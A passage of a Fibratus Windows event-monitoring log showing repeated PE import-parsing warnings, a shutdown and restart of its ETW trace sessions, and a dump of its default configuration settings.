level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T15:01:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:01:07+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:01:07+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:01:08+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T15:03:09+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T15:03:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T15:03:10+01:00 level=info msg=bootstrapping with pid 15560. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T15:03:10+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ eventlog=>[ verbose=>false enabled=>true] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + kstream ........................ [ max-buffers=>36 enable-registry=>true stack-enrichment=>true enable-net=>true enable-fileio=>true buffer-size=>512 enable-audit-api=>true enable-vamap=>true enable-handle=>false blacklist=>[ images=>[] events=>[]] enable-thread=>true flush-interval=>1s enable-mem=>true min-buffers=>16 enable-dns=>true enable-image=>true] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ serializer=>json endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s timeout=>5s healthcheck=>true healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s sniff=>false trace-log=>false gzip-compression=>false enabled=>false] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus durable=>false enabled=>false exchange-type=>topic vhost=>/ url=>amqp://localhost:5672 timeout=>5s passive=>false exchange=>fibratus] console=>[ enabled=>true format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}]] + pe ............................. [ excluded-images=>[] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false kparams=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false alert-template=>[] alert-via=>mail skip-files=>true excluded-files=>[] scan-timeout=>10s fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T15:03:10+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T15:03:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:03:12+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:03:12+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:03:12+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T15:03:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:03:23+01:00 level=warning msg=failed to parse data directory Import, 